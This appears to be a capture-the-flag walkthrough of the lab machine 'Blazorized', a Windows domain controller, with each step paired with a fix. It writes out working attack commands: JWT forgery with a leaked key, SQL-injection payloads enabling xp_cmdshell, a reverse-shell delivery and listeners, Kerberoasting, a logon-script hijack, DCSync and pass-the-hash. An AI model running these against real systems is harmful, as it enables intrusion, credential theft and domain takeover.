J. Perez Duertojperezduerto.info
← all walkthroughs

Blazorized

Windows· Hard· Web
owned
2026-10-16
time to own
45m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped blazorized-hard as a Windows Active Directory domain controller and found its public Blazor WebAssembly site shipped a helper DLL containing a hardcoded JWT signing secret. Forging a Super_Admin token with that secret unlocked the admin panel, where a SQL-injectable search field allowed stacked queries that enabled xp_cmdshell and delivered a reverse shell as a low-privileged service account, yielding user.txt. From that foothold, an over-broad WriteSPN permission let me targeted-Kerberoast a second account and crack its ticket offline, gaining WinRM access as that account.

A further ACL misconfiguration let that account rewrite a privileged account's AD logon-script path and drop a malicious script into the writable SYSVOL scripts share, catching a shell as a member of a custom admin-delegated group. That group held DCSync rights, letting me dump the Administrator password hash directly from AD and pass it straight into WinRM for full domain compromise and root.txt.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export HASH="<the-hash-you-recovered, for Administrator>"

Some commands also carry a value in angle brackets — <base64_revshell>, <baseline_size>, <cracked_password>, <forged_jwt>, <nu_1055_pw>, <recovered_secret> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService fingerprinting and virtual-host enumeration
Fingerprinted the domain controller and discovered the application's hidden subdomains
A full port sweep showed DNS, Kerberos, LDAP/LDAPS/GC, SMB, kpasswd, MSSQL, WinRM, and ADWS together on one host, confirming it was the domain controller (DC1.blazorized.htb) for the blazorized.htb domain. The site on port 80 redirected to a Blazor WebAssembly front end, and virtual-host fuzzing against it surfaced two more applications not linked from the public site: an admin Blazor-Server panel and a backing JSON API.
Ports 53/88/135/139/389/445/464/593/636/1433/3268/5985/9389 open on $TARGET; WinRM banner identified DC1, domain blazorized.htb, Server 2019.
Exact commands 4
shell

Full TCP port sweep

$ nmap -p- --min-rate=1000 $TARGET
shell

Service/version detection on discovered ports

$ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,5985,9389 $TARGET
shell
$ echo "$TARGET blazorized.htb DC1.blazorized.htb" | sudo tee -a /etc/hosts
shell

Discovers admin.blazorized.htb and api.blazorized.htb

$ ffuf -w subdomains.txt -u http://$TARGET -H 'Host: FUZZ.blazorized.htb' -fs <baseline_size>
2Initial AccessHardcoded cryptographic secret disclosure leading to authentication bypass (CWE-321 / T1552.001)
Extracted a hardcoded JWT signing secret from the site's helper DLL and forged a Super_Admin token
The public site's 'Check for Updates' feature downloaded a .NET WebAssembly helper assembly (Blazorized.Helpers.dll) to the browser. Decompiling it exposed a JWT class with a hardcoded HS512 symmetric signing key and the exact claim set used by the real super-admin token generator. Because the client-side admin panel trusted any token signed with that key, I forged a token asserting the Super_Admin role and emailaddress superadmin@blazorized.htb, then presented it as a bearer token to the API, which returned privileged data — confirming full trust in a secret that should never have shipped to a client.
Forged HS512 JWT (role=Super_Admin, iss=http://api.blazorized.htb) accepted by api.blazorized.htb, returning HTTP 200 and internal /Posts data.
Exact commands 4
shell

Pull the WASM helper assembly

$ curl -s http://blazorized.htb/_framework/Blazorized.Helpers.dll -o Blazorized.Helpers.dll
shell

Decompile to recover the JWT class, HS512 key, and claim layout

$ ilspycmd Blazorized.Helpers.dll -o ./decompiled
shell

Forge the Super_Admin token; replace <recovered_secret> with the key found in the DLL

$ python3 -c "import jwt,time; print(jwt.encode({'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress':'superadmin@blazorized.htb','http://schemas.microsoft.com/ws/2008/06/identity/claims/role':'Super_Admin','iss':'http://api.blazorized.htb','aud':'http://admin.blazorized.htb','exp':int(time.time())+999999}, '<recovered_secret>', algorithm='HS512'))"
shell

Confirm privileged API access with the forged token

$ curl -sS -i -H 'Host: api.blazorized.htb' -H 'Authorization: Bearer <forged_jwt>' http://$TARGET/
FixRemove the hardcoded JWT signing secret from the client-delivered assemblyCritical
WeaknessThe 'Check for Updates' feature shipped a .NET WebAssembly DLL to every visitor's browser with the API's HS512 JWT signing key embedded in plain code, letting anyone decompile it and mint tokens for any role, including Super_Admin.
FixNever embed a signing secret in code that reaches the client. Move JWT signing server-side only, rotate the compromised key immediately, and switch to asymmetric signing (RS256/ES256) so the client can verify but never mint tokens. Enforce server-side validation of issuer, audience, and expiry on every request.
3ExploitationSQL injection with stacked queries enabling xp_cmdshell RCE (CWE-89 / T1190)
Used the forged admin session to inject SQL, enable xp_cmdshell, and land a reverse shell
Signed in to admin.blazorized.htb as Super_Admin via the forged token, I found the Posts management 'Check for Duplicate' title field passed input straight into a SQL query, allowing stacked queries. After confirming injection, I enabled the MSSQL xp_cmdshell extended procedure and used it to run a base64-encoded PowerShell reverse shell, landing a shell as the service account BLAZORIZED\nu_1055 and reading user.txt.
Payload ' or 1=1;-- - returned all rows; sp_configure xp_cmdshell enabled; shell landed as BLAZORIZED\nu_1055.
Exact commands 5
shell

Confirm SQLi in the 'Check for Duplicate' field

$ title=' or 1=1;-- -
shell

Enable xp_cmdshell via stacked query

$ title='; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
shell

Deliver a base64-encoded PowerShell reverse shell

$ title='; EXEC xp_cmdshell 'powershell -enc <base64_revshell>';--
shell

Catch the reverse shell

$ rlwrap nc -lvnp 443
shell

Prove access, then read <user.txt>

$ whoami /all && type C:\Users\nu_1055\Desktop\user.txt
FixEliminate SQL injection and disable xp_cmdshellCritical
WeaknessThe admin panel's 'Check for Duplicate' field concatenated user input directly into a SQL query, permitting stacked queries, and the backing MSSQL instance still had the xp_cmdshell extended procedure available to be re-enabled.
FixUse parameterized queries/ORM binding everywhere user input reaches SQL, and disable the xp_cmdshell extended stored procedure (EXEC sp_configure 'xp_cmdshell', 0) in production, removing the ability to re-enable it for the application's service account via least-privilege permissions.
4Lateral MovementTargeted Kerberoasting via abused WriteSPN ACL (T1558.003)
Abused a delegated WriteSPN right to targeted-Kerberoast a second account
Collecting AD data from the nu_1055 foothold showed that account held WriteSPN rights over another account, RSA_4810 — a permission that should only exist for service-account management but let me set an arbitrary SPN on RSA_4810 and request a Kerberos service ticket for it, which is encrypted with a hash of the account's password and can be cracked offline.
BloodHound showed nu_1055 -> WriteSPN -> RSA_4810; targeted TGS request succeeded after setting a temporary SPN.
Exact commands 4
shell

Collect AD relationships from the foothold

$ bloodhound-python -u nu_1055 -p '<nu_1055_pw>' -d blazorized.htb -ns $TARGET -c All
shell

PowerView: set a throwaway SPN to make the account kerberoastable

$ Set-DomainObject -Identity RSA_4810 -Set @{serviceprincipalname='nonexistent/BLAH'}
shell

Request and format the TGS for offline cracking

$ Get-DomainUser RSA_4810 | Get-DomainSPNTicket -Format Hashcat
shell

Crack the Kerberos TGS hash

$ hashcat -m 13100 rsa4810.tgs rockyou.txt
FixRemove unnecessary WriteSPN delegation on user accountsHigh
WeaknessA low-privileged service account (nu_1055) had been delegated WriteSPN rights over another standard user account, letting it mark that account kerberoastable on demand.
FixAudit AD object ACLs for WriteSPN/GenericWrite/GenericAll grants to non-administrative accounts and remove any not explicitly required; restrict SPN management to Tier-0/service-account-management groups only, and alert on SPN changes via directory-service change auditing.
5Lateral MovementCredential reuse via WinRM (T1021.006)
Authenticated as RSA_4810 with the cracked password
RSA_4810 was a member of Remote Management Users, so the cracked password granted an interactive WinRM session as that account, a clean step up from the low-privilege web-shell foothold.
blazorized.htb\<withheld>: authenticated over WinRM on 5985 (Pwn3d!).
Exact commands 1
shell

Interactive shell as RSA_4810

$ evil-winrm -i $TARGET -u RSA_4810 -p '<cracked_password>'
FixEnforce strong, unique passwords on domain service accountsHigh
WeaknessRSA_4810's Kerberos ticket was crackable offline with a wordlist in a reasonable time, indicating a weak or dictionary-based account password.
FixRequire long, random passwords (25+ characters) for all service accounts, or migrate them to Group Managed Service Accounts (gMSA) which rotate automatically and are not human-memorable/crackable.
6Privilege EscalationGPO/logon-script hijack via writable SYSVOL and ACL abuse (T1484.001)
Hijacked a privileged account's logon script via a writable SYSVOL share
RSA_4810 had WriteProperty rights over another account, SSA_6010's Script-Path attribute, and also had write access to the SYSVOL scripts folder those logon scripts are served from. I dropped a PowerShell reverse-shell batch file into that shared folder, pointed SSA_6010's logon ScriptPath at it, and waited for SSA_6010's scheduled logon to trigger the script, catching a shell as that account.
Find-InterestingDomainAcl showed RSA_4810 -> WriteProperty(Script-Path) -> SSA_6010; write access to \\blazorized.htb\sysvol\blazorized.htb\scripts\<GUID>.
Exact commands 4
shell

PowerView: enumerate abusable ACLs

$ Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq 'RSA_4810'}
shell

Drop a PowerShell reverse-shell .bat into the writable scripts folder

$ copy revshell.bat \\blazorized.htb\sysvol\blazorized.htb\scripts\<GUID>\revshell.bat
shell

Point SSA_6010's logon script at the planted file

$ Set-ADUser SSA_6010 -ScriptPath '<GUID>\revshell.bat'
shell

Catch the shell when SSA_6010 next logs on (fires roughly every minute)

$ rlwrap nc -lvnp 4444
FixLock down write access to SYSVOL scripts and user ScriptPath attributesCritical
WeaknessRSA_4810 could both write to the SYSVOL logon-scripts share and modify another account's (SSA_6010) Script-Path attribute, together allowing a classic logon-script hijack to catch a shell as that higher-privileged account.
FixRestrict SYSVOL/NETLOGON scripts folder write access to Domain Admins/designated GPO administrators only, and remove WriteProperty rights over ScriptPath (and other sensitive user attributes) from non-Tier-0 accounts. Review and tighten delegated AD permissions with a tool such as BloodHound on a recurring basis.
7Domain CompromiseDCSync credential theft and Pass-the-Hash (T1003.006 / T1550.002)
Used SSA_6010's DCSync rights to dump the Administrator hash and pass it to WinRM
SSA_6010 belonged to a custom group, Super_Support_Administrators, that had been granted the Active Directory replication rights (GetChanges/GetChangesAll) normally reserved for domain controllers and Domain Admins. I used that account to perform a DCSync, extracting the Administrator account's NTLM hash directly from AD without ever touching its password, then passed that hash straight into WinRM to get an Administrator shell and read root.txt.
impacket-secretsdump/mimikatz DCSync returned Administrator NTLM <withheld>; nxc winrm pass-the-hash returned 'Pwn3d!' and root.txt contents.
Exact commands 3
shell

DCSync the Administrator credential using SSA_6010's replication rights

$ impacket-secretsdump -just-dc-user administrator blazorized.htb/SSA_6010@$TARGET
shell

Pass-the-hash to confirm execution and read <root.txt>

$ nxc winrm $TARGET -u Administrator -H $HASH -d blazorized.htb -X 'Get-Content C:\Users\Administrator\Desktop\root.txt'
shell

Full interactive Administrator shell

$ evil-winrm -i $TARGET -u Administrator -H $HASH
FixRestrict Active Directory replication (DCSync) rights to domain controllers and Tier-0 adminsCritical
WeaknessA custom group, Super_Support_Administrators, had been granted the 'Replicating Directory Changes' and 'Replicating Directory Changes All' permissions, which allow a DCSync attack to extract any account's password hash — including Administrator's — without touching a domain controller directly.
FixAudit the domain's access control list for Replicating Directory Changes/Replicating Directory Changes All and remove these rights from any principal that is not a Domain Controller, Domain Admins, or Enterprise Admins. Monitor for DCSync-pattern replication requests from non-DC sources (Event ID 4662) via SIEM alerting.

Attack patterns used

The transferable techniques behind this compromise.

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1433/tcp
3268/tcp
5985/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49672/tcp
49678/tcp
49679/tcp
49690/tcp
49695/tcp
49700/tcp
49720/tcp
49776/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.